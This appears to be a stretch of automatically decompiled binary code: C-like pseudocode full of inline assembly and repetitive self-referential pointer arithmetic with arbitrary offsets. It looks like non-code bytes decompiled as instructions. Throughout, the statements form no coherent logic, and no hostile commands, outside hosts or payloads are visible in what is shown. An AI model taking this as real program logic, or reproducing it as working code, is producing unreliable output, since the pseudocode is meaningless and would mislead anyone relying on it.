				 *((intOrPtr*)(_t636 + 0x151b3b08)) =  *((intOrPtr*)(_t636 + 0x151b3b08)) + _t402;
				 *((intOrPtr*)(_t402 + _t402)) =  *((intOrPtr*)(_t402 + _t402)) + _t402;
				asm("lodsb");
				 *_t402 =  *_t402 & _t402;
				 *_t402 =  *_t402 + _t402;
				 *((intOrPtr*)(_t636 + 0x5d2ff108)) =  *((intOrPtr*)(_t636 + 0x5d2ff108)) + _t402;
				 *0x21c400 =  *0x21c400 + _t402;
				 *_t402 =  *_t402 + _t402;
				 *((intOrPtr*)(_t636 + 0x152ffd08)) =  *((intOrPtr*)(_t636 + 0x152ffd08)) + _t402;
				 *0x221300 =  *0x221300 + _t402;
				 *_t402 =  *_t402 + _t402;
				 *((intOrPtr*)(_t636 + 0x5d210308)) =  *((intOrPtr*)(_t636 + 0x5d210308)) + _t402;
				 *_t636 =  *_t636 + _t402;
				 *0x30ae529 = 0x30ae529 +  *0x30ae529;
				_t403 = _t402 &  *_t402;
				 *_t403 =  *_t403 + _t403;
				_t554[0x15210e08] = _t554[0x15210e08] + _t403;
				 *_t636 =  *_t636 + _t403;
				 *_t600 =  *_t600 + _t403;
				 *_t403 =  *_t403 + _t403;
				 *_t403 =  *_t403 + _t403;
				_t555 =  *_t403;
				 *_t403 = _t554;
				 *0x701db25 =  *0x701db25 + _t555;
				 *_t403 =  *_t403 + _t403;
				 *_t403 =  *_t403 + _t403;
				 *_t403 =  *_t403 | 0x0af325c7;
				_pop(es);
				 *_t403 = 0x30ae529 +  *_t403;
				_t404 = _t403 &  *_t403;
				 *_t404 =  *_t404 + _t404;
				 *((intOrPtr*)(_t636 - 0x6e6a1f8)) =  *((intOrPtr*)(_t636 - 0x6e6a1f8)) + _t404;
				 *((intOrPtr*)(_t404 + 0x22)) =  *((intOrPtr*)(_t404 + 0x22)) + 0x701db25;
				 *_t404 =  *_t404 + _t404;
				 *_t404 =  *_t404 + _t404;
				 *_t404 = _t555 |  *_t404;
				asm("insb");
				asm("sbb ecx, edi");
				_t558 =  *_t404 |  *( *_t404);
				 *((intOrPtr*)(_t404 + 0x22)) =  *((intOrPtr*)(_t404 + 0x22)) + _t558;
				 *((intOrPtr*)(_t636 - 0xdec9f8)) =  *((intOrPtr*)(_t636 - 0xdec9f8)) + _t404;
				_t406 = _t404 + _t404 &  *(_t404 + _t404);
				 *_t406 =  *_t406 + _t406;
				 *((intOrPtr*)(_t636 - 0xdec0f8)) =  *((intOrPtr*)(_t636 - 0xdec0f8)) + _t406;
				 *_t406 = 0x30ae529 +  *_t406;
				_t407 = _t406 &  *_t406;
				 *_t407 =  *_t407 + _t407;
				 *((intOrPtr*)(_t636 + 0x5298208)) =  *((intOrPtr*)(_t636 + 0x5298208)) + _t407;
				_t408 = _t407 &  *_t407;
				 *_t408 =  *_t408 + _t408;
				 *((intOrPtr*)(_t636 + 0x5299008)) =  *((intOrPtr*)(_t636 + 0x5299008)) + _t408;
				 *_t408 =  *_t408 + _t408;
				 *((intOrPtr*)(_t636 + 0xb20ca08)) =  *((intOrPtr*)(_t636 + 0xb20ca08)) + _t408;
				_t410 = _t408 + _t408 &  *(_t408 + _t408);
				 *_t410 =  *_t410 + _t410;
				 *((intOrPtr*)(_t636 + 0xb20d908)) =  *((intOrPtr*)(_t636 + 0xb20d908)) + _t410;
				_t564 = _t558 |  *0x701db25 |  *0x30ae529 |  *(_t407 + _t407) |  *0x238800 |  *_t636 |  *_t629;
				_t412 = 0x030ae529 + _t410 &  *(0x30ae529 + _t410);
				 *_t412 =  *_t412 + _t412;
				 *((intOrPtr*)(_t636 + 0x1121df08)) =  *((intOrPtr*)(_t636 + 0x1121df08)) + _t412;
				_t602 = 0x0701db25 |  *_t412;
				 *_t412 =  *_t412 + _t602;
				_t413 = _t412 & 0x00000000;
				 *_t413 =  *_t413 + _t413;
				 *((intOrPtr*)(_t636 + 0x1121ea08)) =  *((intOrPtr*)(_t636 + 0x1121ea08)) + _t413;
				 *((intOrPtr*)(_t413 + 0x24)) =  *((intOrPtr*)(_t413 + 0x24)) + _t564;
				 *_t413 =  *_t413 + _t413;
				 *_t413 =  *_t413 + _t413;
				 *_t413 = _t564;
				asm("fcomp qword [eax]");
				ss = _t407;
				 *((intOrPtr*)(_t413 + 0x24)) =  *((intOrPtr*)(_t413 + 0x24)) + _t413;
				 *((intOrPtr*)(_t636 + 0x1718ee08)) =  *((intOrPtr*)(_t636 + 0x1718ee08)) + _t413;
				_t415 = 0x030ae529 + _t413 & 0x00000000;
				 *_t415 =  *_t415 + _t415;
				 *((intOrPtr*)(_t636 + 0x1d225208)) =  *((intOrPtr*)(_t636 + 0x1d225208)) + _t415;
				asm("adc [0x0], ah");
				_t566 =  *_t415;
				 *_t415 =  *_t413;
				_pop(_t637);
				asm("les eax, [ecx]");
				asm("insd");
				_t417 = _t415 & 0x00000000 &  *0x30ae529;
				_t607 = _t602 |  *_t564 |  *(_t602 |  *_t564) |  *0x30ae529 |  *(_t415 + _t415) |  *_t637;
				 *((intOrPtr*)(_t417 + 0x25)) =  *((intOrPtr*)(_t417 + 0x25)) + _t607;
				 *_t417 =  *_t417 + _t417;
				 *_t417 =  *_t417 + _t417;
				asm("les eax, [ecx]");
				_t521 = (0x030ae529 &  *0x4800150b) +  *_t566;
				_push(_t654);
				_t608 = _t607 +  *_t629;
				 *((intOrPtr*)(_t417 + 0x25)) =  *((intOrPtr*)(_t417 + 0x25)) + _t521;
				 *(_t654 + 2) =  *(_t654 + 2) & 0x0701db25;
				asm("sbb [eax], al");
				asm("enter 0x25, 0x0");
				 *((intOrPtr*)(_t417 + _t417 + _t629)) =  *((intOrPtr*)(_t417 + _t417 + _t629)) + _t417 + _t417 + _t629;
				asm("les eax, [ecx]");
				_t522 = _t521 - 1;
				 *(_t654 + 2) =  *(_t654 + 2) & 0x0701db25;
				asm("sbb [eax], eax");
				asm("clc");
				asm("les eax, [ecx]");
				_t421 =  *0x1a025529;
				 *_t421 =  *_t421 + _t421;
				 *[es:eax] =  *[es:eax] + _t421;
				 *_t421 =  *_t421 + _t421;
				asm("les eax, [ecx]");
				asm("sbb ah, [edi]");
				 *_t421 =  *_t421 + _t421;
				 *_t421 =  *_t421 + _t421;
				_t422 =  *_t421;
				 *_t422 = _t421;
				 *((intOrPtr*)(_t566 + 0x1f000631)) =  *((intOrPtr*)(_t566 + 0x1f000631)) + _t522;
				 *_t629 =  *_t629 + _t522;
				 *_t422 =  *_t422 + _t422;
				 *_t422 =  *_t422 + _t422;
				asm("les eax, [eax]");
				if( *_t422 == 0) {
					asm("popad");
					 *_t629 = 0x30ae529 +  *_t629;
					 *((intOrPtr*)(_t566 + _t654)) =  *((intOrPtr*)(_t566 + _t654)) + _t566;
					 *_t422 =  *_t422 + 0x625d4;
					 *_t422 =  *_t422 & _t422;
					asm("fisubr word [ecx]");
					 *_t422 =  *_t422 + _t422;
					 *_t422 =  *_t422 + _t422;
				}
				_t423 =  *_t422;
				 *_t423 = _t422;
				asm("loopne 0x27");
				asm("repe or ah, [eax]");
				 *((intOrPtr*)(_t608 + _t654)) =  *((intOrPtr*)(_t608 + _t654)) + _t423;
				 *_t423 =  *_t423 + _t423;
				 *_t423 =  *_t423 + _t423;
				_t424 =  *_t423;
				 *_t424 = _t423;
				asm("loopne 0x27");
				_t426 = (_t424 & 0x38002102) -  *(_t424 & 0x38002102);
				 *_t426 =  *_t426 + _t426;
				 *((intOrPtr*)(_t637 + 0x4225e000)) =  *((intOrPtr*)(_t637 + 0x4225e000)) + _t426;
				_t427 = _t426 + 0x23;
				_t609 = _t608 + _t427;
				_t428 = _t427 -  *_t427;
				 *_t428 =  *_t428 + _t428;
				 *((intOrPtr*)(_t637 + 0x6230c00)) =  *((intOrPtr*)(_t637 + 0x6230c00)) + _t428;
				 *_t629 =  *_t629 + _t428;
				 *_t428 =  *_t428 + _t428;
				_t429 = _t428 -  *_t428;
				 *_t429 =  *_t429 + _t429;
				 *((intOrPtr*)(_t637 + 0x2f310c00)) =  *((intOrPtr*)(_t637 + 0x2f310c00)) + _t429;
				_t659 = _t658 |  *_t629;
				 *((intOrPtr*)(_t522 + _t654)) =  *((intOrPtr*)(_t522 + _t654)) + _t522;
				 *_t429 =  *_t429 + _t429;
				 *((intOrPtr*)(_t637 + 0x61a7700)) =  *((intOrPtr*)(_t637 + 0x61a7700)) + _t429;
				 *_t566 =  *_t566 + _t566;
				 *((intOrPtr*)(_t522 + _t654)) =  *((intOrPtr*)(_t522 + _t654)) + _t566;
				_t430 =  *_t429;
				 *_t430 = _t429;
				asm("out dx, al");
				asm("sbb [0xb500290b], esi");
				_t431 = _t430 -  *_t430;
				 *_t431 =  *_t431 + _t431;
				 *((intOrPtr*)(_t637 + 0x61d3200)) =  *((intOrPtr*)(_t637 + 0x61d3200)) + _t431;
				 *_t609 =  *_t609 + _t566;
				_t433 = _t431 + _t566 -  *((intOrPtr*)(_t431 + _t566));
				 *_t433 =  *_t433 + _t433;
				 *((intOrPtr*)(_t637 + 0x6293800)) =  *((intOrPtr*)(_t637 + 0x6293800)) + _t433;
				 *_t609 =  *_t609 + _t566;
				 *_t433 =  *_t433 + _t609;
				_t434 = _t433;
				 *_t434 =  *_t434 + _t434;
				 *((intOrPtr*)(_t637 + 0x35293800)) =  *((intOrPtr*)(_t637 + 0x35293800)) + _t434;
				_t655 = _t654 |  *_t609;
				 *_t434 =  *_t434 + _t434;
				_t435 = _t434;
				 *_t435 =  *_t435 + _t435;
				 *((intOrPtr*)(_t637 + 0x34293800)) =  *((intOrPtr*)(_t637 + 0x34293800)) + _t435;
				 *_t522 =  *_t522 + _t655;
				 *((intOrPtr*)(_t566 + 0x2c)) =  *((intOrPtr*)(_t566 + 0x2c)) + _t566;
				 *((intOrPtr*)(_t637 + 0x342f6500)) =  *((intOrPtr*)(_t637 + 0x342f6500)) + _t435;
				 *((intOrPtr*)(_t435 + _t435)) =  *((intOrPtr*)(_t435 + _t435)) + _t655;
				asm("pushfd");
				_t436 = _t435;
				 *_t436 =  *_t436 + _t436;
				 *((intOrPtr*)(_t637 + 0x4c2f5b00)) =  *((intOrPtr*)(_t637 + 0x4c2f5b00)) + _t436;
				 *0x2cc000 =  *0x2cc000 + _t566;
				 *_t436 =  *_t436 + _t436;
				 *((intOrPtr*)(_t522 + 0x3b199800)) =  *((intOrPtr*)(_t522 + 0x3b199800)) + _t436;
				_t656 = _t655 |  *0x2cca00;
				 *_t436 =  *_t436 + _t436;
				_t609[0xbc2d08b] = _t609[0xbc2d08b] + _t522;
				_t439 = _t436 + _t436 + _t436 + _t436;
				 *_t439 =  *_t439 + _t439;
				 *((intOrPtr*)(_t637 + 0x1522cf00)) =  *((intOrPtr*)(_t637 + 0x1522cf00)) + _t439;
				 *_t439 =  *_t439 + _t609;
				 *_t439 =  *_t439 + _t566;
				_t440 = _t439;
				_t523 =  *_t440;
				 *_t440 = _t522;
				_t568 = _t566 - 1 -  *((intOrPtr*)(_t440 + 0xb));
				 *_t440 =  *_t440 ^ _t440;
				 *0 = _t568;
				asm("les eax, [eax]");
				asm("salc");
				 *_t637 =  *_t637 & _t440;
				 *_t609 = _t609 +  *_t609;
				_t442 = _t609 + _t440;
				 *_t442 =  *_t442 + 0x6291d;
				_t443 = _t442 ^  *_t442;
				asm("adc [esi], ch");
				 *_t443 =  *_t443 + _t443;
				 *_t443 =  *_t443 + _t443;
				 *_t443 =  *_t443 + 0x62496;
				_t445 = _t443 ^  *_t443;
				asm("das");
				 *_t445 =  *_t445 + _t445;
				 *_t445 =  *_t445 + _t445;
				 *_t445 =  *_t445 + 0x63184;
				_t446 = _t445 ^  *_t445;
				asm("aam 0x30");
				 *_t446 =  *_t446 + _t446;
				 *_t446 =  *_t446 + _t446;
				 *_t446 =  *_t446 + 0x6256f;
				_t447 = _t446 ^  *_t446;
				asm("enter 0x31, 0x0");
				 *_t447 =  *_t447 + _t447;
				 *_t447 =  *_t447 + 0x625e0;
				_t448 = _t447 ^  *_t447;
				asm("adc al, 0x32");
				 *_t448 =  *_t448 + _t448;
				 *_t448 =  *_t448 + _t448;
				 *_t448 =  *_t448 + 0xb3b275a;
				_push(_t659);
				_t450 = _t448 ^  *_t448 ^  *(_t448 ^  *_t448);
				 *_t450 =  *_t450 + _t450;
				 *((intOrPtr*)(_t568 + 0x12d9700)) =  *((intOrPtr*)(_t568 + 0x12d9700)) + _t450;
				 *((intOrPtr*)(_t450 + _t450)) =  *((intOrPtr*)(_t450 + _t450)) + _t609;
				 *_t609 = _t637;
				 *_t450 =  *_t450 + _t450;
				 *_t450 =  *_t450 + _t450;
				 *_t450 =  *_t450 + 0x12fca;
				_t451 = _t450 ^ 0x0032bc00;
				 *_t451 =  *_t451 + _t451;
				 *((intOrPtr*)(_t568 + 0x3b18c200)) =  *((intOrPtr*)(_t568 + 0x3b18c200)) + _t451;
				_t639 =  *_t609 |  *( *_t609);
				 *((intOrPtr*)(_t523 + _t639)) =  *((intOrPtr*)(_t523 + _t639)) + _t523;
				 *_t451 =  *_t451 + _t451;
				 *((intOrPtr*)(_t568 + 0x3b18a500)) =  *((intOrPtr*)(_t568 + 0x3b18a500)) + _t451;
				 *((intOrPtr*)(_t451 + 0x33)) =  *((intOrPtr*)(_t451 + 0x33)) + _t568;
				 *((intOrPtr*)(_t568 + 0x4e26e700)) =  *((intOrPtr*)(_t568 + 0x4e26e700)) + _t451;
				_t453 = _t609 + _t451 ^  *(_t609 + _t451);
				 *_t453 =  *_t453 + _t453;
				 *((intOrPtr*)(_t568 + 0x3b2db500)) =  *((intOrPtr*)(_t568 + 0x3b2db500)) + _t453;
				asm("sbb dh, [eax+eax]");
				 *_t453 =  *_t453 + _t453;
				_t454 = _t453 + _t453;
				 *((intOrPtr*)(_t568 + 0x3e025518)) =  *((intOrPtr*)(_t568 + 0x3e025518)) + _t568;
				 *0x34 =  *0x34 + _t609;
				 *((intOrPtr*)(_t568 + 0x3b2e9f00)) =  *((intOrPtr*)(_t568 + 0x3b2e9f00)) + _t454;
				_t633 = _t629 |  *_t451 |  *_t609 |  *(_t453 + _t453) |  *(_t629 |  *_t451 |  *_t609 |  *(_t453 + _t453));
				 *((intOrPtr*)(_t659 + _t639)) =  *((intOrPtr*)(_t659 + _t639)) + _t568;
				 *_t454 =  *_t454 + _t454;
				_t455 = _t454 + _t454;
				 *_t455 =  *_t455 + _t523;
				asm("sbb eax, 0x410015");
				 *_t455 =  *_t455 + _t455;
				 *((intOrPtr*)(_t568 + 0x62f3c00)) =  *((intOrPtr*)(_t568 + 0x62f3c00)) + _t455;
				 *_t609 =  *_t609 + _t455;
				asm("pushad");
				 *_t455 =  *_t455 + _t455;
				 *((intOrPtr*)(_t568 + 0x561a7c00)) =  *((intOrPtr*)(_t568 + 0x561a7c00)) + _t455;
				_t456 = _t455 |  *_t609;
				 *_t609 = _t523;
				 *_t456 =  *_t456 + _t456;
				 *_t456 =  *_t456 + _t456;
				 *_t456 =  *_t456 + 0xb3b0026;
				_t610 = _t609 + _t609;
				 *_t456 =  *_t456 + _t456;
				 *((intOrPtr*)(_t568 + 0x3b000100)) =  *((intOrPtr*)(_t568 + 0x3b000100)) + _t456;
				_t457 = _t456 |  *_t656;
				asm("sbb al, 0x3b");
				 *_t457 =  *_t457 + _t457;
				 *_t457 =  *_t457 + _t457;
				_t458 = _t639;
				_t640 = _t457;
				 *((intOrPtr*)(_t610 + 0x470b5c25)) =  *((intOrPtr*)(_t610 + 0x470b5c25)) + _t458;
				 *((intOrPtr*)(_t458 + 0x20)) =  *((intOrPtr*)(_t458 + 0x20)) + _t610;
				 *_t458 =  *_t458 + _t458;
				 *_t458 =  *_t458 + _t458;
				_t525 =  *_t458;
				 *_t458 = _t523 + 1;
				_t569 = _t568 - 1;
				_t459 = _t458 -  *_t640;
				 *_t459 =  *_t459 + _t569;
				_pop(_t660);
				 *_t459 =  *_t459 + _t459;
				 *((intOrPtr*)(_t640 + 0x742d7908)) =  *((intOrPtr*)(_t640 + 0x742d7908)) + _t610;
				 *_t459 =  *_t459 + _t459;
				 *((intOrPtr*)(_t640 + 0x612d8808)) =  *((intOrPtr*)(_t640 + 0x612d8808)) + _t610;
				 *0 =  *0 & _t525;
				_t460 = _t640;
				_t641 = _t459;
				 *_t610 =  *_t610 + _t610;
				 *(_t641 + 0xb) =  *(_t641 + 0xb) ^ _t460;
				 *((intOrPtr*)(_t460 + 0x3d)) =  *((intOrPtr*)(_t460 + 0x3d)) + _t610;
				 *_t460 =  *_t460 + _t460;
				 *_t460 =  *_t460 + _t460;
				_t461 = _t641;
				_t642 = _t460;
				 *_t525 =  *_t525 + _t525;
				 *(_t642 + 0xb) =  *(_t642 + 0xb) ^ _t461;
				_t611 = _t610 - 1;
				 *((intOrPtr*)(_t461 + 0x3d)) =  *((intOrPtr*)(_t461 + 0x3d)) + _t461;
				 *((intOrPtr*)(_t642 + 0x6b00df08)) =  *((intOrPtr*)(_t642 + 0x6b00df08)) + _t611;
				_t573 = (_t569 +  *_t459 |  *_t459) - 0x00000001 |  *_t525;
				asm("pushfd");
				 *_t573 =  *_t573 + _t611;
				 *((intOrPtr*)(_t525 + 0xb)) =  *((intOrPtr*)(_t525 + 0xb)) - _t573;
				_t526 = _t525 - 1;
				_t464 = _t461;
				_t644 = _t642 + _t611;
				 *_t644 =  *_t644 + _t526;
				 *((intOrPtr*)(_t526 + 0xb)) =  *((intOrPtr*)(_t526 + 0xb)) - _t573;
				_t527 = _t526 - 1;
				 *((intOrPtr*)(_t644 + _t633)) =  *((intOrPtr*)(_t644 + _t633)) + _t573;
				 *_t464 =  *_t464 + _t464;
				 *_t464 =  *_t464 + _t464;
				_t465 = _t644;
				 *((intOrPtr*)(_t527 + 0x23)) =  *((intOrPtr*)(_t527 + 0x23)) + _t573;
				_t574 = _t573 |  *_t527;
				asm("insb");
				 *[ds:eax] =  *[ds:eax] + _t465;
				 *_t465 =  *_t465 + _t465;
				_t466 = _t464;
				 *_t466 =  *_t466 + _t574;
				asm("daa");
				_t575 = _t574 |  *(_t466 + _t466 - 0x48);
				 *[ds:eax] =  *[ds:eax] + _t466;
				 *_t466 =  *_t466 + _t466;
				_t467 = _t465;
				_t647 = _t466;
				 *_t575 =  *_t575 + _t527;
				 *(_t527 + 0xb) =  *(_t527 + 0xb) & _t656;
				_t657 = _t656 - 1;
				 *((intOrPtr*)(_t633 + _t633)) =  *((intOrPtr*)(_t633 + _t633)) + _t467;
				 *_t467 =  *_t467 + _t467;
				 *((intOrPtr*)(_t647 + 0x6f235e00)) =  *((intOrPtr*)(_t647 + 0x6f235e00)) + _t611;
				_t576 = _t575 |  *_t657;
				if(_t576 >= 0) {
					 *_t467 =  *_t467 + _t467;
					 *_t467 =  *_t467 + _t467;
					_t514 = _t647;
					_t647 = _t467;
					_t221 = _t576 + 0x1c;
					 *_t221 =  *((intOrPtr*)(_t576 + 0x1c)) + _t514;
					if( *_t221 != 0) {
						_t647 = _t647 - 1;
						 *((intOrPtr*)(_t514 + 0x20)) =  *((intOrPtr*)(_t514 + 0x20)) + _t611;
						 *_t514 =  *_t514 + _t514;
						 *_t514 =  *_t514 + _t514;
						_t225 = _t527;
						_t527 =  *_t514;
						 *_t514 = _t225;
						_t576 = _t576 - 1;
					}
					_t515 = _t514 -  *_t647;
					 *_t633 =  *_t633 + _t576;
					 *_t515 =  *_t515 + _t515;
					 *_t515 =  *_t515 + _t515;
					 *_t515 =  *_t515 + _t515;
					 *0x12a2e81 = 0x4f;
					 *_t515 =  *_t515 + _t515;
					 *_t515 =  *_t515 + _t515;
					 *_t515 =  *_t515 + _t515;
					_t516 = _t515 + 0xb79183c;
					_t633 = _t633 - 1;
					 *_t516 =  *_t516 + _t516;
					 *_t516 =  *_t516 + _t516;
					 *_t516 =  *_t516 + _t516;
					_t611 = _t611 + _t515 + _t516;
					_t467 = _t516 + 0xb79184f;
				}
				asm("sbb [ecx+0xb], bh");
				_push(_t467);
				 *_t467 =  *_t467 + _t467;
				 *_t467 =  *_t467 + _t467;
				 *_t467 =  *_t467 + _t467;
				_t468 = _t467 + 0xb791843;
				_push(_t576);
				 *_t468 =  *_t468 + _t468;
				 *_t468 =  *_t468 + _t468;
				 *_t468 =  *_t468 + _t468;
				_t613 = _t611 + _t467 + _t468;
				_t469 = _t468 + 0xb792ea6;
				_push(_t613);
				 *_t469 =  *_t469 + _t469;
				 *_t469 =  *_t469 + _t469;
				 *_t527 =  *_t527 + _t469;
				asm("adc [esi+0x62a4918], al");
				 *_t527 =  *_t527 + _t613;
				 *_t469 =  *_t469 + _t469;
				 *_t469 =  *_t469 + _t469;
				 *_t469 =  *_t469 + 0x96;
				_t470 = _t469 & _t527;
				 *(_t647 + 0xb) =  *(_t647 + 0xb) - _t633;
				 *_t470 =  *_t470 + _t470;
				 *_t470 =  *_t470 + _t470;
				 *((intOrPtr*)(_t470 + 0x37209600)) =  *((intOrPtr*)(_t470 + 0x37209600)) + _t470;
				 *_t470 =  *_t470 + _t470;
				 *_t470 =  *_t470 + _t470;
				 *((intOrPtr*)(_t470 - 0x53df6a00)) =  *((intOrPtr*)(_t470 - 0x53df6a00)) + _t470;
				_t471 = _t470 &  *(_t613 + 0x540b);
				 *_t471 =  *_t471 + _t471;
				 *((intOrPtr*)(_t471 + 0x67209600)) =  *((intOrPtr*)(_t471 + 0x67209600)) + _t471;
				_t578 = (_t576 &  *(_t633 + 0xb)) -  *((intOrPtr*)((_t576 &  *(_t633 + 0xb)) + 0x570b));
				 *_t471 =  *_t471 + _t471;
				 *((intOrPtr*)(_t471 - 0x61df6a00)) =  *((intOrPtr*)(_t471 - 0x61df6a00)) + _t471;
				 *_t471 =  *_t471 + _t471;
				 *((intOrPtr*)(_t471 + 0x56209600)) =  *((intOrPtr*)(_t471 + 0x56209600)) + _t471;
				_t615 = (_t613 &  *(_t471 + 0x5a0b)) -  *((intOrPtr*)(_t647 + 0x5c0b));
				 *_t471 =  *_t471 + _t471;
				 *((intOrPtr*)(_t471 - 0x2adf6a00)) =  *((intOrPtr*)(_t471 - 0x2adf6a00)) + _t471;
				 *(_t647 + 0xb) =  *(_t647 + 0xb) ^ _t527;
				_t648 = _t527;
				 *_t471 =  *_t471 + _t471;
				 *_t471 =  *_t471 + _t471;
				 *((intOrPtr*)(_t471 - 0x52df6a00)) =  *((intOrPtr*)(_t471 - 0x52df6a00)) + _t471;
				 *(_t527 + _t578 + 0x5e) =  *(_t527 + _t578 + 0x5e) ^ _t527;
				 *_t471 =  *_t471 + _t471;
				 *_t471 =  *_t471 + 0x96;
				 *_t578 =  *_t578 & _t615;
				 *(_t615 + 0x600b) =  *(_t615 + 0x600b) ^ _t660;
				 *_t471 =  *_t471 + _t471;
				 *((intOrPtr*)(_t471 + 0x47209600)) =  *((intOrPtr*)(_t471 + 0x47209600)) + _t471;
				asm("sbb ebp, [edx+0x640b]");
				 *_t471 =  *_t471 + _t471;
				 *((intOrPtr*)(_t471 + 0x6d209600)) =  *((intOrPtr*)(_t471 + 0x6d209600)) + _t471;
				 *(_t633 + 0x660b) =  *(_t633 + 0x660b) ^ _t578;
				 *_t471 =  *_t471 + _t471;
				 *((intOrPtr*)(_t471 - 0x76df6a00)) =  *((intOrPtr*)(_t471 - 0x76df6a00)) + _t471;
				 *_t471 =  *_t471 + _t471;
				 *((intOrPtr*)(_t471 - 0xcdf6a00)) =  *((intOrPtr*)(_t471 - 0xcdf6a00)) + _t471;
				_t657[0x1b02] = _t657[0x1b02] ^ _t527;
				 *_t471 =  *_t471 + _t471;
				 *((intOrPtr*)(_t471 + 0x42209600)) =  *((intOrPtr*)(_t471 + 0x42209600)) + _t471;
				_t472 = _t471 - 0x6e0bc3;
				 *_t472 =  *_t472 + _t472;
				 *_t472 =  *_t472 + _t472;
				 *_t472 =  *_t472 + 0x96;
				 *(_t615 + 0x750bce2f) =  *(_t615 + 0x750bce2f) & _t472;
				 *_t472 =  *_t472 + _t472;
				 *_t472 =  *_t472 + _t472;
				 *((intOrPtr*)(_t472 - 0x6edf6a00)) =  *((intOrPtr*)(_t472 - 0x6edf6a00)) + _t472;
				asm("das");
				asm("salc");
				_t650 = _t648 - _t657[0x1a02] |  *_t633;
				 *_t472 =  *_t472 + _t472;
				 *_t472 =  *_t472 + _t472;
				 *_t472 =  *_t472 + 0x96;
				_t274 =  &(_t657[0xb]);
				 *_t274 = _t657[0xb] & _t472;
				asm("fimul word [ebx]");
				if ( *_t274 >= 0) goto L15;
				 *_t472 =  *_t472 + _t472;
				 *_t472 =  *_t472 + _t472;
				 *_t472 =  *_t472 + 0x96;
				_t528 = _t527 & _t578;
				_t473 = _t472 - 0x7b0be4;
				 *_t473 =  *_t473 + _t473;
				 *_t473 =  *_t473 + _t473;
				 *_t473 =  *_t473 + 0x96;
				_t579 = _t578 & _t473;
				_t276 = _t650 + 0xb;
				 *_t276 =  *(_t650 + 0xb) ^ _t528;
				if ( *_t276 <= 0) goto L16;
				 *_t473 =  *_t473 + _t473;
				 *_t473 =  *_t473 + _t473;
				 *_t473 =  *_t473 + 0x96;
				 *(_t528 + 0x7e0374) =  *(_t528 + 0x7e0374) & _t473;
				 *_t473 =  *_t473 + _t473;
				 *_t473 =  *_t473 + _t473;
				 *_t473 =  *_t473 + 0x96;
				asm("sbb ch, ah");
				_t634 = _t633 |  *_t650;
				 *_t473 =  *_t473 + _t473;
				 *_t473 =  *_t473 + _t473;
				 *_t473 =  *_t473 + 0x96;
				_t581 = _t579 & _t579 & _t579 & _t579;
				asm("sbb dh, ah");
				_t474 = _t473 |  *_t615;
				 *((intOrPtr*)(_t474 + 0x41209600)) =  *((intOrPtr*)(_t474 + 0x41209600)) + _t474;
				_t476 = _t474 & _t528 |  *_t650;
				 *((intOrPtr*)(_t476 + 0x27209600)) =  *((intOrPtr*)(_t476 + 0x27209600)) + _t476;
				asm("sbb al, [esi]");
				_t477 = _t476 | 0x0000008c;
				 *_t477 =  *_t477 + _t477;
				 *_t477 =  *_t477 + _t477;
				 *((intOrPtr*)(_t477 - 0x19df6a00)) =  *((intOrPtr*)(_t477 - 0x19df6a00)) + _t477;
				 *0x8f0c =  *0x8f0c ^ _t581;
				 *_t477 =  *_t477 + _t477;
				 *((intOrPtr*)(_t477 - 0x19df6a00)) =  *((intOrPtr*)(_t477 - 0x19df6a00)) + _t477;
				 *_t581 =  *_t581 ^ _t528;
				_t478 = _t477 | 0x00000093;
				 *_t478 =  *_t478 + _t478;
				 *_t478 =  *_t478 + _t478;
				 *_t478 =  *_t478 + _t478;
				 *((intOrPtr*)(_t650 + 0x6b194620)) =  *((intOrPtr*)(_t650 + 0x6b194620)) + _t615;
				_t616 = _t615 |  *_t634;
				 *_t478 =  *_t478 + _t478;
				 *((intOrPtr*)(_t650 + 0x231ff420)) =  *((intOrPtr*)(_t650 + 0x231ff420)) + _t616;
				_t479 = _t478 | 0x00000098;
				 *_t479 =  *_t479 + _t479;
				 *_t479 =  *_t479 + _t479;
				 *((intOrPtr*)(_t479 + 0x51209600)) =  *((intOrPtr*)(_t479 + 0x51209600)) + _t479;
				asm("sbb al, 0x2d");
				_t480 = _t479 | 0x0000009c;
				 *((intOrPtr*)(_t528 + 0x3f)) =  *((intOrPtr*)(_t528 + 0x3f)) + _t480;
				 *((intOrPtr*)(_t650 + 0x62a4918)) =  *((intOrPtr*)(_t650 + 0x62a4918)) + _t480;
				 *((intOrPtr*)(_t634 + 0x3fdc00)) =  *((intOrPtr*)(_t634 + 0x3fdc00)) + _t528;
				 *_t480 =  *_t480 + _t480;
				_t481 = _t480 + _t480;
				 *( &(_t657[0x27c057]) + _t528) =  *( &(_t657[0x27c057]) + _t528) | _t481;
				asm("hlt");
				asm("aas");
				 *_t481 =  *_t481 + _t481;
				 *_t481 =  *_t481 + _t481;
				 *_t481 =  *_t481 + 0xc360018;
				asm("lahf");
				 *_t481 =  *_t481 + _t481;
				_t482 = _t481 + 1;
				 *_t482 =  *_t482 + _t482;
				 *_t482 =  *_t482 + _t482;
				 *_t482 =  *_t482 + 0xb4e004a;
				_t483 =  *0x405b00;
				 *_t483 =  *_t483 + _t483;
				 *((intOrPtr*)(_t581 + 0x3e253700)) =  *((intOrPtr*)(_t581 + 0x3e253700)) + _t616;
				_t484 = _t483 | 0x000000a3;
				 *((intOrPtr*)(_t634 + 0x40)) =  *((intOrPtr*)(_t634 + 0x40)) + _t616;
				 *_t484 =  *_t484 + _t484;
				 *_t484 =  *_t484 + _t484;
				asm("sbb [edi+0x2a], cl");
				_t486 = _t581 +  *((intOrPtr*)(_t581 + _t581 + 0x408c));
				 *_t486 =  *_t486 + _t486;
				_t487 = _t650;
				 *((intOrPtr*)(_t634 + 0x27)) =  *((intOrPtr*)(_t634 + 0x27)) + _t487;
				_t488 = _t487 +  *((intOrPtr*)(_t487 + _t487 + 0x40f4));
				 *_t488 = _t488 +  *_t488;
				_t489 = _t486;
				 *((intOrPtr*)(_t489 + 0x27)) =  *((intOrPtr*)(_t489 + 0x27)) + _t484;
				_t531 = _t527;
				_t490 = _t489 +  *((intOrPtr*)(_t489 + _t489 + 0x4134));
				 *_t490 =  *_t490 + _t490;
				_t491 = _t488;
				_t653 = _t490;
				 *_t531 = _t531 +  *_t531;
				asm("daa");
				_t491[8] = _t491[8] + _t616;
				 *_t491 = _t491 +  *_t491;
				 *_t491 = _t491 +  *_t491;
				 *_t491 = _t531;
				_t584 =  *_t531 * 0xffffffa4 - 1;
				_t492 = _t491 -  *_t653;
				 *((intOrPtr*)(_t492 + _t492 + 0x4197)) =  *((intOrPtr*)(_t492 + _t492 + 0x4197)) + _t492;
				 *_t492 =  *_t492 + _t492;
				asm("sbb dword [eax], 0x49");
				_t493 = _t492 -  *_t653;
